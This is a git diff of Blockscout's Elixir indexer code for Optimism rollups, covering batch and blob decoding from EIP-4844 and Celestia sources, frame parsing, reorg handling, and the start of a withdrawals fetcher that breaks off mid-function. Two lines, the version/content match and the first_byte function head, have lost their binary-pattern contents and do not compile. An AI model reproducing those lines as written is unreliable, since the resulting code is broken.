{json_rpc_named_arguments, json_rpc_named_arguments_l2}, + blobs_api_url, + retries_left + ) do + case fetch_blocks_by_range(block_range, json_rpc_named_arguments) do + {:ok, %Blocks{transactions_params: transactions_params, blocks_params: blocks_params, errors: []}} -> + last_block_hash = + block_range + |> Enum.max() + |> get_block_hash_by_number(blocks_params) + + transactions_params + |> transactions_filter(batch_submitter, batch_inbox) + |> get_transaction_batches_inner( + blocks_params, + {genesis_block_l2, block_duration}, + incomplete_channels, + json_rpc_named_arguments_l2, + blobs_api_url + ) + |> Tuple.append(last_block_hash) + + {_, message_or_errors} -> + message = + case message_or_errors do + %Blocks{errors: errors} -> errors + msg -> msg + end + + retries_left = retries_left - 1 + + error_message = "Cannot fetch blocks #{inspect(block_range)}. Error(s): #{inspect(message)}" + + if retries_left <= 0 do + Logger.error(error_message) + {:error, message} + else + Optimism.log_error_message_with_retry_sleep(error_message) + + get_transaction_batches( + block_range, + batch_inbox, + batch_submitter, + {genesis_block_l2, block_duration}, + incomplete_channels, + {json_rpc_named_arguments, json_rpc_named_arguments_l2}, + blobs_api_url, + retries_left + ) + end + end + end + + defp eip4844_blobs_to_inputs(_transaction_hash, _blob_versioned_hashes, _block_timestamp, "", _chain_id_l1) do + Logger.error( + "Cannot read EIP-4844 blobs from the Blockscout Blobs API as the API URL is not defined. Please, check INDEXER_OPTIMISM_L1_BATCH_BLOCKSCOUT_BLOBS_API_URL env variable." + ) + + [] + end + + defp eip4844_blobs_to_inputs( + transaction_hash, + blob_versioned_hashes, + block_timestamp, + blobs_api_url, + chain_id_l1 + ) do + blob_versioned_hashes + |> Enum.reduce([], fn blob_hash, inputs_acc -> + with {:ok, response} <- Helper.http_get_request(blobs_api_url <> "/" <> blob_hash), + blob_data = Map.get(response, "blob_data"), + false <- is_nil(blob_data) do + # read the data from Blockscout API + decoded = + blob_data + |> hash_to_binary() + |> OptimismTransactionBatch.decode_eip4844_blob() + + if is_nil(decoded) do + Logger.warning("Cannot decode the blob #{blob_hash} taken from the Blockscout Blobs API.") + + inputs_acc + else + Logger.info( + "The input for transaction #{transaction_hash} is taken from the Blockscout Blobs API. Blob hash: #{blob_hash}" + ) + + input = %{ + bytes: decoded, + eip4844_blob_hash: blob_hash + } + + [input | inputs_acc] + end + else + _ -> + # read the data from the fallback source (beacon node) + eip4844_blobs_to_inputs_from_fallback( + transaction_hash, + blob_hash, + block_timestamp, + inputs_acc, + chain_id_l1 + ) + end + end) + |> Enum.reverse() + end + + defp eip4844_blobs_to_inputs_from_fallback( + transaction_hash, + blob_hash, + block_timestamp, + inputs_acc, + chain_id_l1 + ) do + blob = Helper.get_eip4844_blob_from_beacon_node(blob_hash, block_timestamp, chain_id_l1) + + with false <- is_nil(blob), + decoded_blob_data = OptimismTransactionBatch.decode_eip4844_blob(blob), + {:blob_data_invalid, false} <- {:blob_data_invalid, is_nil(decoded_blob_data)} do + Logger.info( + "The input for transaction #{transaction_hash} is taken from the Beacon Node. Blob hash: #{blob_hash}" + ) + + input = %{ + bytes: decoded_blob_data, + eip4844_blob_hash: blob_hash + } + + [input | inputs_acc] + else + true -> + inputs_acc + + {:blob_data_invalid, true} -> + Logger.warning("Cannot decode invalid blob #{blob_hash} taken from the Beacon Node.") + inputs_acc + end + end + + # Gets Celestia blob data & metadata by L1 transaction input (encoding blob's height and commitment). + # The data is read from the remote `da-indexer` service. + # + # ## Parameters + # - `transaction_input`: The contents of transaction `input` field. + # - `offset`: Offset (in bytes) within the `transaction_input` where blob's height is encoded. + # - `transaction_hash`: The L1 transaction hash for logging purposes. + # - `blobs_api_url`: The URL to `da-indexer` API. + # + # ## Returns + # - A list with a map containing blob's data and metadata. + # - An empty list in case of an error (`da-indexer` didn't respond, URL is not defined, or transaction input is incorrect). + @spec celestia_blob_to_input(binary(), non_neg_integer(), String.t(), String.t()) :: [ + %{ + :bytes => binary(), + :celestia_blob_metadata => %{ + :height => non_neg_integer(), + :namespace => String.t(), + :commitment => String.t() + } + } + ] + defp celestia_blob_to_input("0x" <> transaction_input, offset, transaction_hash, blobs_api_url) do + transaction_input + |> Base.decode16!(case: :mixed) + |> celestia_blob_to_input(offset, transaction_hash, blobs_api_url) + end + + defp celestia_blob_to_input(transaction_input, offset, _transaction_hash, blobs_api_url) + when byte_size(transaction_input) == offset + 8 + 32 and blobs_api_url != "" do + # 8 bytes after alt-da signature encode little-endian Celestia blob height + height = + transaction_input + |> binary_part(offset, 8) + |> :binary.decode_unsigned(:little) + + # the next 32 bytes contain the commitment + commitment = binary_part(transaction_input, offset + 8, 32) + commitment_string = Base.encode16(commitment, case: :lower) + + url = blobs_api_url <> "?height=#{height}&commitment=" <> commitment_string + + with {:ok, response} <- Helper.http_get_request(url), + namespace = Map.get(response, "namespace"), + data = Map.get(response, "data"), + true <- !is_nil(namespace) and !is_nil(data) do + data_decoded = Base.decode64!(data) + + [ + %{ + bytes: data_decoded, + celestia_blob_metadata: %{ + height: height, + namespace: "0x" <> namespace, + commitment: "0x" <> commitment_string + } + } + ] + else + false -> + Logger.error("Cannot read namespace or data from Celestia Blobs API response for the request #{url}") + + [] + + _ -> + Logger.error("Cannot read a response from Celestia Blobs API for the request #{url}") + [] + end + end + + defp celestia_blob_to_input(_transaction_input, _offset, transaction_hash, blobs_api_url) when blobs_api_url != "" do + Logger.error("L1 transaction with Celestia commitment has incorrect input length. Tx hash: #{transaction_hash}") + + [] + end + + defp celestia_blob_to_input(_transaction_input, _offset, _transaction_hash, "") do + Logger.error( + "Cannot read Celestia blobs from the server as the API URL is not defined. Please, check INDEXER_OPTIMISM_L1_BATCH_CELESTIA_BLOBS_API_URL env variable." + ) + + [] + end + + defp get_transaction_batches_inner( + transactions_filtered, + blocks_params, + {genesis_block_l2, block_duration}, + incomplete_channels, + json_rpc_named_arguments_l2, + {eip4844_blobs_api_url, celestia_blobs_api_url, chain_id_l1} + ) do + transactions_filtered + |> Enum.reduce({:ok, incomplete_channels, [], [], []}, fn transaction, + {_, incomplete_channels_acc, batches_acc, sequences_acc, + blobs_acc} -> + inputs = + cond do + transaction.type == 3 -> + # this is EIP-4844 transaction, so we get the inputs from the blobs + block_timestamp = get_block_timestamp_by_number(transaction.block_number, blocks_params) + + eip4844_blobs_to_inputs( + transaction.hash, + transaction.blob_versioned_hashes, + block_timestamp, + eip4844_blobs_api_url, + chain_id_l1 + ) + + commitment_alt_da_signature(transaction.input) == 0x01010C -> + # this is Celestia DA transaction, so we get the data from Celestia blob + celestia_blob_to_input(transaction.input, 3, transaction.hash, celestia_blobs_api_url) + + first_byte(transaction.input) == 0xCE -> + # backward compatibility with OP Celestia Raspberry + celestia_blob_to_input(transaction.input, 1, transaction.hash, celestia_blobs_api_url) + + true -> + # this is calldata transaction, so the data is in the transaction input + [%{bytes: transaction.input}] + end + + Enum.reduce( + inputs, + {:ok, incomplete_channels_acc, batches_acc, sequences_acc, blobs_acc}, + fn input, {_, new_incomplete_channels_acc, new_batches_acc, new_sequences_acc, new_blobs_acc} -> + handle_input( + input, + transaction, + blocks_params, + new_incomplete_channels_acc, + {new_batches_acc, new_sequences_acc, new_blobs_acc}, + {genesis_block_l2, block_duration}, + json_rpc_named_arguments_l2 + ) + end + ) + end) + end + + defp handle_input( + input, + transaction, + blocks_params, + incomplete_channels_acc, + {batches_acc, sequences_acc, blobs_acc}, + {genesis_block_l2, block_duration}, + json_rpc_named_arguments_l2 + ) do + frame = input_to_frame(input.bytes) + + if frame == :invalid_frame do + Logger.warning("The frame in transaction #{transaction.hash} is invalid.") + raise "Invalid frame" + end + + block_timestamp = get_block_timestamp_by_number(transaction.block_number, blocks_params) + + channel = Map.get(incomplete_channels_acc, frame.channel_id, %{frames: %{}}) + + channel_frames = + Map.put(channel.frames, frame.number, %{ + data: frame.data, + is_last: frame.is_last, + block_number: transaction.block_number, + block_timestamp: block_timestamp, + transaction_hash: transaction.hash, + eip4844_blob_hash: Map.get(input, :eip4844_blob_hash), + celestia_blob_metadata: Map.get(input, :celestia_blob_metadata) + }) + + l1_timestamp = + if frame.is_last do + block_timestamp + else + Map.get(channel, :l1_timestamp) + end + + channel_updated = + channel + |> Map.put_new(:id, frame.channel_id) + |> Map.put(:frames, channel_frames) + |> Map.put(:timestamp, DateTime.utc_now()) + |> Map.put(:l1_timestamp, l1_timestamp) + + if channel_complete?(channel_updated) do + handle_channel( + channel_updated, + incomplete_channels_acc, + batches_acc, + sequences_acc, + blobs_acc, + {genesis_block_l2, block_duration}, + json_rpc_named_arguments_l2 + ) + else + {:ok, Map.put(incomplete_channels_acc, frame.channel_id, channel_updated), batches_acc, sequences_acc, blobs_acc} + end + rescue + e -> + Logger.warning("Exception thrown: #{inspect(e)}") + {:ok, incomplete_channels_acc, batches_acc, sequences_acc, blobs_acc} + end + + defp handle_channel( + channel, + incomplete_channels_acc, + batches_acc, + sequences_acc, + blobs_acc, + {genesis_block_l2, block_duration}, + json_rpc_named_arguments_l2 + ) do + frame_sequence_last = List.first(sequences_acc) + frame_sequence_id = next_frame_sequence_id(frame_sequence_last) + + {bytes, l1_transaction_hashes, new_blobs_acc} = + 0..(Enum.count(channel.frames) - 1) + |> Enum.reduce({<<>>, [], blobs_acc}, fn frame_number, {bytes_acc, transaction_hashes_acc, new_blobs_acc} -> + frame = Map.get(channel.frames, frame_number) + + next_blob_id = next_blob_id(List.last(new_blobs_acc)) + + new_blobs_acc = + cond do + !is_nil(Map.get(frame, :eip4844_blob_hash)) -> + # credo:disable-for-next-line /Credo.Check.Refactor.AppendSingleItem/ + new_blobs_acc ++ + [ + %{ + id: next_blob_id, + key: + Base.decode16!(String.trim_leading(frame.eip4844_blob_hash, "0x"), + case: :mixed + ), + type: :eip4844, + metadata: %{hash: frame.eip4844_blob_hash}, + l1_transaction_hash: frame.transaction_hash, + l1_timestamp: frame.block_timestamp, + frame_sequence_id: frame_sequence_id + } + ] + + !is_nil(Map.get(frame, :celestia_blob_metadata)) -> + height = :binary.encode_unsigned(frame.celestia_blob_metadata.height) + + commitment = + Base.decode16!(String.trim_leading(frame.celestia_blob_metadata.commitment, "0x"), + case: :mixed + ) + + # credo:disable-for-next-line /Credo.Check.Refactor.AppendSingleItem/ + new_blobs_acc ++ + [ + %{ + id: next_blob_id, + key: :crypto.hash(:sha256, height <> commitment), + type: :celestia, + metadata: frame.celestia_blob_metadata, + l1_transaction_hash: frame.transaction_hash, + l1_timestamp: frame.block_timestamp, + frame_sequence_id: frame_sequence_id + } + ] + + true -> + new_blobs_acc + end + + {bytes_acc <> frame.data, [frame.transaction_hash | transaction_hashes_acc], new_blobs_acc} + end) + + batches_parsed = + parse_frame_sequence( + bytes, + frame_sequence_id, + channel.l1_timestamp, + {genesis_block_l2, block_duration}, + json_rpc_named_arguments_l2 + ) + + if batches_parsed == :error do + Logger.error("Cannot parse frame sequence from these L1 transaction(s): #{inspect(l1_transaction_hashes)}") + end + + sequence = %{ + id: frame_sequence_id, + l1_transaction_hashes: Enum.uniq(Enum.reverse(l1_transaction_hashes)), + l1_timestamp: channel.l1_timestamp + } + + new_incomplete_channels_acc = + incomplete_channels_acc + |> Map.delete(channel.id) + |> remove_expired_channels() + + if batches_parsed == :error or Enum.empty?(batches_parsed) do + {:ok, new_incomplete_channels_acc, batches_acc, sequences_acc, blobs_acc} + else + {:ok, new_incomplete_channels_acc, batches_acc ++ batches_parsed, [sequence | sequences_acc], new_blobs_acc} + end + end + + defp handle_l1_reorg(reorg_block, incomplete_channels) do + incomplete_channels + |> Enum.reduce(incomplete_channels, fn {channel_id, %{frames: frames} = channel}, acc -> + updated_frames = + frames + |> Enum.filter(fn {_frame_number, %{block_number: block_number}} -> + block_number < reorg_block + end) + |> Enum.into(%{}) + + if Enum.empty?(updated_frames) do + Map.delete(acc, channel_id) + else + Map.put(acc, channel_id, Map.put(channel, :frames, updated_frames)) + end + end) + end + + @doc """ + Removes rows from op_transaction_batches and op_frame_sequences tables written beginning from the L2 reorg block. + """ + @spec handle_l2_reorg(non_neg_integer()) :: any() + def handle_l2_reorg(reorg_block) do + frame_sequence_ids = + Repo.all( + from( + tb in OptimismTransactionBatch, + select: tb.frame_sequence_id, + where: tb.l2_block_number >= ^reorg_block + ), + timeout: :infinity + ) + + {deleted_count, _} = + Repo.delete_all(from(tb in OptimismTransactionBatch, where: tb.l2_block_number >= ^reorg_block)) + + Repo.delete_all(from(fs in FrameSequence, where: fs.id in ^frame_sequence_ids)) + + if deleted_count > 0 do + Logger.warning( + "As L2 reorg was detected, all rows with l2_block_number >= #{reorg_block} were removed from the op_transaction_batches table. Number of removed rows: #{deleted_count}." + ) + end + end + + @doc """ + Returns L1 RPC URL for this module. + """ + @spec l1_rpc_url() :: binary() | nil + def l1_rpc_url do + Optimism.l1_rpc_url() + end + + @doc """ + Determines if `Indexer.Fetcher.RollupL1ReorgMonitor` module must be up + before this fetcher starts. + + ## Returns + - `true` if the reorg monitor must be active, `false` otherwise. + """ + @spec requires_l1_reorg_monitor?() :: boolean() + def requires_l1_reorg_monitor? do + Optimism.requires_l1_reorg_monitor?() + end + + defp channel_complete?(channel) do + last_frame_number = + channel.frames + |> Map.keys() + |> Enum.max() + + Map.get(channel.frames, last_frame_number).is_last and + last_frame_number == Enum.count(channel.frames) - 1 + end + + defp remove_expired_channels(channels_map) do + now = DateTime.utc_now() + + Enum.reduce(channels_map, channels_map, fn {channel_id, %{timestamp: timestamp}}, channels_acc -> + if DateTime.diff(now, timestamp) >= 86400 do + Map.delete(channels_acc, channel_id) + else + channels_acc + end + end) + end + + defp input_to_frame("0x" <> input) do + input + |> Base.decode16!(case: :mixed) + |> input_to_frame() + end + + defp input_to_frame(input_binary) do + # the structure of the input is as follows: + # + # input = derivation_version ++ channel_id ++ frame_number ++ frame_data_length ++ frame_data ++ is_last + # + # derivation_version = uint8 + # channel_id = bytes16 + # frame_number = uint16 + # frame_data_length = uint32 + # frame_data = bytes + # is_last = bool (uint8) + + derivation_version_length = 1 + channel_id_length = 16 + frame_number_size = 2 + frame_data_length_size = 4 + is_last_size = 1 + + # the first byte must be zero + derivation_version = first_byte(input_binary) + + if derivation_version != 0x00 do + Logger.warning("Derivation version #{derivation_version} is not supported. The frame will be ignored.") + + raise "Unsupported derivation version" + end + + # channel id has 16 bytes + channel_id = binary_part(input_binary, derivation_version_length, channel_id_length) + + # frame number consists of 2 bytes + frame_number_offset = derivation_version_length + channel_id_length + + frame_number = :binary.decode_unsigned(binary_part(input_binary, frame_number_offset, frame_number_size)) + + # frame data length consists of 4 bytes + frame_data_length_offset = frame_number_offset + frame_number_size + + frame_data_length = + :binary.decode_unsigned(binary_part(input_binary, frame_data_length_offset, frame_data_length_size)) + + input_length_must_be = + derivation_version_length + channel_id_length + frame_number_size + frame_data_length_size + + frame_data_length + + is_last_size + + input_length_current = byte_size(input_binary) + + if input_length_current == input_length_must_be do + # frame data is a byte array of frame_data_length size + frame_data_offset = frame_data_length_offset + frame_data_length_size + frame_data = binary_part(input_binary, frame_data_offset, frame_data_length) + + # is_last is 1-byte item + is_last_offset = frame_data_offset + frame_data_length + + is_last = :binary.decode_unsigned(binary_part(input_binary, is_last_offset, is_last_size)) > 0 + + %{number: frame_number, data: frame_data, is_last: is_last, channel_id: channel_id} + else + # workaround to remove a leading extra byte + # for example, the case for Base Goerli batch L1 transaction: https://goerli.etherscan.io/tx/0xa43fa9da683a6157a114e3175a625b5aed85d8c573aae226768c58a924a17be0 + input_to_frame("0x" <> Base.encode16(binary_part(input_binary, 1, input_length_current - 1))) + end + rescue + _ -> :invalid_frame + end + + defp next_blob_id(last_known_blob) when is_nil(last_known_blob) do + last_known_id = + Repo.one( + from( + fsb in FrameSequenceBlob, + select: fsb.id, + order_by: [desc: fsb.id], + limit: 1 + ) + ) + + if is_nil(last_known_id) do + 1 + else + last_known_id + 1 + end + end + + defp next_blob_id(last_known_blob) do + last_known_blob.id + 1 + end + + defp next_frame_sequence_id(last_known_sequence) when is_nil(last_known_sequence) do + last_known_id = + Repo.one( + from( + fs in FrameSequence, + select: fs.id, + order_by: [desc: fs.id], + limit: 1 + ) + ) + + if is_nil(last_known_id) do + 1 + else + last_known_id + 1 + end + end + + defp next_frame_sequence_id(last_known_sequence) do + last_known_sequence.id + 1 + end + + defp parse_frame_sequence( + bytes, + id, + l1_timestamp, + {genesis_block_l2, block_duration}, + json_rpc_named_arguments_l2 + ) do + uncompressed_bytes = + if first_byte(bytes) == @compressor_brotli do + bytes + |> binary_part(1, byte_size(bytes) - 1) + |> ExBrotli.decompress!() + else + zlib_decompress(bytes) + end + + batches = + Enum.reduce_while(Stream.iterate(0, &(&1 + 1)), {uncompressed_bytes, []}, fn _i, {remainder, batch_acc} -> + try do + {decoded, new_remainder} = ExRLP.decode(remainder, stream: true) + + <> = decoded + + new_batch_acc = + cond do + version == 0 -> + handle_v0_batch(content, id, l1_timestamp, batch_acc) + + version <= 2 -> + # parsing the span batch + handle_v1_batch(content, id, l1_timestamp, genesis_block_l2, block_duration, batch_acc) + + true -> + Logger.error("Unsupported batch version ##{version}") + :error + end + + if byte_size(new_remainder) > 0 and new_batch_acc != :error do + {:cont, {new_remainder, new_batch_acc}} + else + {:halt, new_batch_acc} + end + rescue + _ -> {:halt, :error} + end + end) + + if batches == :error do + :error + else + batches = Enum.reverse(batches) + + numbers_by_hashes = + batches + |> Stream.filter(&Map.has_key?(&1, :parent_hash)) + |> Enum.map(fn batch -> batch.parent_hash end) + |> get_block_numbers_by_hashes(json_rpc_named_arguments_l2) + + Enum.map(batches, &parent_hash_to_l2_block_number(&1, numbers_by_hashes)) + end + end + + defp handle_v0_batch(content, frame_sequence_id, l1_timestamp, batch_acc) do + content_decoded = ExRLP.decode(content) + + batch = %{ + parent_hash: Enum.at(content_decoded, 0), + frame_sequence_id: frame_sequence_id, + l1_timestamp: l1_timestamp + } + + [batch | batch_acc] + end + + defp handle_v1_batch(content, frame_sequence_id, l1_timestamp, genesis_block_l2, block_duration, batch_acc) do + {rel_timestamp, content_remainder} = LEB128.decode(content) + + # skip l1_origin_num + {_l1_origin_num, checks_and_payload} = LEB128.decode(content_remainder) + + # skip `parent_check` and `l1_origin_check` fields (20 bytes each) + # and read the block count + {block_count, _} = + checks_and_payload + |> binary_part(40, byte_size(checks_and_payload) - 40) + |> LEB128.decode() + + # the first and last L2 blocks in the span + span_start = div(rel_timestamp, block_duration) + genesis_block_l2 + span_end = span_start + block_count - 1 + + cond do + rem(rel_timestamp, block_duration) != 0 -> + Logger.error("rel_timestamp is not divisible by #{block_duration}. We ignore the span batch.") + + batch_acc + + block_count <= 0 -> + Logger.error("Empty span batch found. We ignore it.") + batch_acc + + true -> + span_start..span_end + |> Enum.reduce(batch_acc, fn l2_block_number, batch_acc -> + [ + %{ + l2_block_number: l2_block_number, + frame_sequence_id: frame_sequence_id, + l1_timestamp: l1_timestamp + } + | batch_acc + ] + end) + end + end + + defp parent_hash_to_l2_block_number(batch, numbers_by_hashes) do + if Map.has_key?(batch, :parent_hash) do + number = Map.get(numbers_by_hashes, batch.parent_hash) + + batch + |> Map.put(:l2_block_number, number + 1) + |> Map.delete(:parent_hash) + else + batch + end + end + + defp remove_duplicates(batches, sequences, blobs) do + unique_batches = + batches + |> Enum.sort(fn b1, b2 -> + b1.l2_block_number < b2.l2_block_number or + (b1.l2_block_number == b2.l2_block_number and b1.l1_timestamp < b2.l1_timestamp) + end) + |> Enum.reduce(%{}, fn b, acc -> + Map.put(acc, b.l2_block_number, Map.delete(b, :l1_timestamp)) + end) + |> Map.values() + + unique_sequences = + sequences + |> Enum.reverse() + |> Enum.filter(fn seq -> + Enum.any?(unique_batches, fn batch -> batch.frame_sequence_id == seq.id end) + end) + + unique_blobs = + blobs + |> Enum.reduce(%{}, fn b, acc -> + prev_id = Map.get(acc, b.key, %{id: 0}).id + + if prev_id < b.id do + Map.put(acc, b.key, b) + else + acc + end + end) + |> Map.values() + |> Enum.filter(fn b -> + Enum.any?(unique_sequences, fn sec -> sec.id == b.frame_sequence_id end) + end) + + {unique_batches, unique_sequences, unique_blobs} + end + + defp remove_prev_frame_sequences(inserted) do + ids = + inserted + |> Map.get(:insert_transaction_batches, []) + |> Enum.map(fn tb -> tb.frame_sequence_id_prev end) + |> Enum.uniq() + |> Enum.filter(fn id -> id > 0 end) + + try do + Repo.delete_all(from(fs in FrameSequence, where: fs.id in ^ids)) + rescue + # we need to ignore `foreign_key_violation` exception when deleting the rows + # because there can be a case when the chain partially replaces the frame sequence + # (e.g. Unichain Private Testnet), and so some rows in `op_transaction_batches` table + # can still reference to the `op_frame_sequences` table + _ -> nil + end + + ids + end + + defp set_frame_sequences_view_ready(sequences) do + sequence_ids = Enum.map(sequences, fn s -> s.id end) + + Repo.update_all( + from(fs in FrameSequence, where: fs.id in ^sequence_ids), + set: [view_ready: true] + ) + end + + defp transactions_filter(transactions_params, batch_submitter, batch_inbox) do + transactions_params + |> Enum.filter(fn t -> + from_address_hash = Map.get(t, :from_address_hash) + to_address_hash = Map.get(t, :to_address_hash) + + if is_nil(from_address_hash) or is_nil(to_address_hash) do + false + else + String.downcase(from_address_hash) == batch_submitter and + String.downcase(to_address_hash) == batch_inbox + end + end) + |> Enum.sort(fn t1, t2 -> + {t1.block_number, t1.index} < {t2.block_number, t2.index} + end) + end + + # Reads some public getters of SystemConfig contract and returns retrieved values. + # Gets the number of a start block (from which this fetcher should start), + # the inbox address, and the batcher (batch submitter) address. + # + # If SystemConfig has obsolete implementation, the values are fallen back from the corresponding + # env variables (INDEXER_OPTIMISM_L1_START_BLOCK, INDEXER_OPTIMISM_L1_BATCH_INBOX, INDEXER_OPTIMISM_L1_BATCH_SUBMITTER). + # + # ## Parameters + # - `contract_address`: An address of SystemConfig contract. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # + # ## Returns + # - A tuple: {start_block, inbox, submitter}. + # - `nil` in case of error. + @spec read_system_config(String.t(), EthereumJSONRPC.json_rpc_named_arguments()) :: + {non_neg_integer(), String.t(), String.t()} | nil + defp read_system_config(contract_address, json_rpc_named_arguments) do + requests = [ + # startBlock() public getter + Contract.eth_call_request("0x48cd4cb1", contract_address, 0, nil, nil), + # batchInbox() public getter + Contract.eth_call_request("0xdac6e63a", contract_address, 1, nil, nil), + # batcherHash() public getter + Contract.eth_call_request("0xe81b2c6d", contract_address, 2, nil, nil) + ] + + error_message = &"Cannot call public getters of SystemConfig. Error: #{inspect(&1)}" + + env = Application.get_all_env(:indexer)[__MODULE__] + fallback_start_block = Application.get_all_env(:indexer)[Indexer.Fetcher.Optimism][:start_block_l1] + + {start_block, batch_inbox, batch_submitter} = + case Helper.repeated_call( + &json_rpc/2, + [requests, json_rpc_named_arguments], + error_message, + Helper.finite_retries_number() + ) do + {:ok, responses} -> + start_block = + responses + |> Enum.at(0) + |> Map.get(:result, fallback_start_block) + |> quantity_to_integer() + + inbox_result = Map.get(Enum.at(responses, 1), :result) + submitter_result = Map.get(Enum.at(responses, 2), :result) + + {batch_inbox, batch_submitter} = + with {:nil_result, true, _, _} <- + {:nil_result, is_nil(inbox_result) or is_nil(submitter_result), inbox_result, submitter_result}, + {:fallback_defined, true} <- + {:fallback_defined, + Helper.address_correct?(env[:inbox]) and Helper.address_correct?(env[:submitter])} do + {env[:inbox], env[:submitter]} + else + {:nil_result, false, inbox, submitter} -> + "0x000000000000000000000000" <> batch_inbox = inbox + "0x000000000000000000000000" <> batch_submitter = submitter + {"0x" <> batch_inbox, "0x" <> batch_submitter} + + {:fallback_defined, false} -> + {nil, nil} + end + + {start_block, batch_inbox, batch_submitter} + + _ -> + {fallback_start_block, env[:inbox], env[:submitter]} + end + + if !is_nil(start_block) and Helper.address_correct?(batch_inbox) and Helper.address_correct?(batch_submitter) do + {start_block, String.downcase(batch_inbox), String.downcase(batch_submitter)} + end + end + + # Retrieves Alt-DA signature from L1 transaction input as described in + # https://github.com/ethereum-optimism/specs/blob/main/specs/experimental/alt-da.md#example-commitments + # + # ## Parameters + # - `transaction_input`: The contents of transaction `input` field. + # + # ## Returns + # - An integer encoding the signature. + # - `nil` if the input doesn't contain Alt-DA signature. + @spec commitment_alt_da_signature(binary()) :: non_neg_integer() | nil + defp commitment_alt_da_signature("0x" <> transaction_input) do + transaction_input + |> Base.decode16!(case: :mixed) + |> commitment_alt_da_signature() + end + + defp commitment_alt_da_signature(<<0, _rest::binary>>), do: 0x00 + defp commitment_alt_da_signature(<<1, 0, _rest::binary>>), do: 0x0100 + + defp commitment_alt_da_signature(<<1, 1, da_layer_byte::size(8), _rest::binary>>), + do: :binary.decode_unsigned(<<0x01, 0x01, da_layer_byte>>) + + defp commitment_alt_da_signature(_), do: nil + + defp first_byte("0x" <> transaction_input) do + transaction_input + |> Base.decode16!(case: :mixed) + |> first_byte() + end + + defp first_byte(<>) do + first_byte + end + + defp first_byte(_transaction_input) do + nil + end + + defp zlib_decompress(bytes) do + z = :zlib.open() + :zlib.inflateInit(z) + + uncompressed_bytes = + try do + zlib_inflate(z, bytes) + rescue + _ -> <<>> + end + + try do + :zlib.inflateEnd(z) + rescue + _ -> nil + end + + :zlib.close(z) + + uncompressed_bytes + end + + defp zlib_inflate_handler(z, {:continue, [uncompressed_bytes]}, acc) do + zlib_inflate(z, [], acc <> uncompressed_bytes) + end + + defp zlib_inflate_handler(_z, {:finished, [uncompressed_bytes]}, acc) do + acc <> uncompressed_bytes + end + + defp zlib_inflate_handler(_z, {:finished, []}, acc) do + acc + end + + defp zlib_inflate(z, compressed_bytes, acc \\ <<>>) do + result = :zlib.safeInflate(z, compressed_bytes) + zlib_inflate_handler(z, result, acc) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/optimism/withdrawal.ex b/apps/indexer/lib/indexer/fetcher/optimism/withdrawal.ex new file mode 100644 index 000000000000..c995be37bced --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/optimism/withdrawal.ex @@ -0,0 +1,418 @@ +defmodule Indexer.Fetcher.Optimism.Withdrawal do + @moduledoc """ + Fills op_withdrawals DB table. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + import Explorer.Helper, only: [decode_data: 2, parse_integer: 1] + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Log + alias Explorer.Chain.Optimism.Withdrawal, as: OptimismWithdrawal + alias Indexer.Fetcher.Optimism + alias Indexer.Helper + + @fetcher_name :optimism_withdrawals + @counter_type "optimism_withdrawals_fetcher_last_l2_block_hash" + + # 32-byte signature of the event MessagePassed(uint256 indexed nonce, address indexed sender, address indexed target, uint256 value, uint256 gasLimit, bytes data, bytes32 withdrawalHash) + @message_passed_event "0x02a52367d10742d8032712c1bb8e0144ff1ec5ffda1ed7d70bb05a2744955054" + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + {:ok, %{}, {:continue, args[:json_rpc_named_arguments]}} + end + + @impl GenServer + def handle_continue(json_rpc_named_arguments, state) do + Logger.metadata(fetcher: @fetcher_name) + + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + :timer.sleep(2000) + + env = Application.get_all_env(:indexer)[__MODULE__] + + with {:start_block_l2_undefined, false} <- {:start_block_l2_undefined, is_nil(env[:start_block_l2])}, + {:message_passer_valid, true} <- {:message_passer_valid, Helper.address_correct?(env[:message_passer])}, + start_block_l2 = parse_integer(env[:start_block_l2]), + false <- is_nil(start_block_l2), + true <- start_block_l2 > 0, + {last_l2_block_number, last_l2_transaction_hash, last_l2_transaction} <- + get_last_l2_item(json_rpc_named_arguments), + {safe_block, safe_block_is_latest} = Helper.get_safe_block(json_rpc_named_arguments), + {:start_block_l2_valid, true} <- + {:start_block_l2_valid, + (start_block_l2 <= last_l2_block_number || last_l2_block_number == 0) && start_block_l2 <= safe_block}, + {:l2_transaction_not_found, false} <- + {:l2_transaction_not_found, !is_nil(last_l2_transaction_hash) && is_nil(last_l2_transaction)} do + Process.send(self(), :continue, []) + + {:noreply, + %{ + start_block: max(start_block_l2, last_l2_block_number), + start_block_l2: start_block_l2, + safe_block: safe_block, + safe_block_is_latest: safe_block_is_latest, + message_passer: env[:message_passer], + json_rpc_named_arguments: json_rpc_named_arguments, + eth_get_logs_range_size: + Application.get_all_env(:indexer)[Indexer.Fetcher.Optimism][:l2_eth_get_logs_range_size] + }} + else + {:start_block_l2_undefined, true} -> + # the process shouldn't start if the start block is not defined + {:stop, :normal, state} + + {:message_passer_valid, false} -> + Logger.error("L2ToL1MessagePasser contract address is invalid or not defined.") + {:stop, :normal, state} + + {:start_block_l2_valid, false} -> + Logger.error("Invalid L2 Start Block value. Please, check the value and op_withdrawals table.") + {:stop, :normal, state} + + {:error, error_data} -> + Logger.error("Cannot get last L2 transaction from RPC by its hash due to RPC error: #{inspect(error_data)}") + + {:stop, :normal, state} + + {:l2_transaction_not_found, true} -> + Logger.error( + "Cannot find last L2 transaction from RPC by its hash. Probably, there was a reorg on L2 chain. Please, check op_withdrawals table." + ) + + {:stop, :normal, state} + + _ -> + Logger.error("Withdrawals L2 Start Block is invalid or zero.") + {:stop, :normal, state} + end + end + + @impl GenServer + def handle_info( + :continue, + %{ + start_block_l2: start_block_l2, + message_passer: message_passer, + json_rpc_named_arguments: json_rpc_named_arguments, + eth_get_logs_range_size: eth_get_logs_range_size + } = state + ) do + fill_msg_nonce_gaps(start_block_l2, message_passer, json_rpc_named_arguments, eth_get_logs_range_size) + Process.send(self(), :find_new_events, []) + 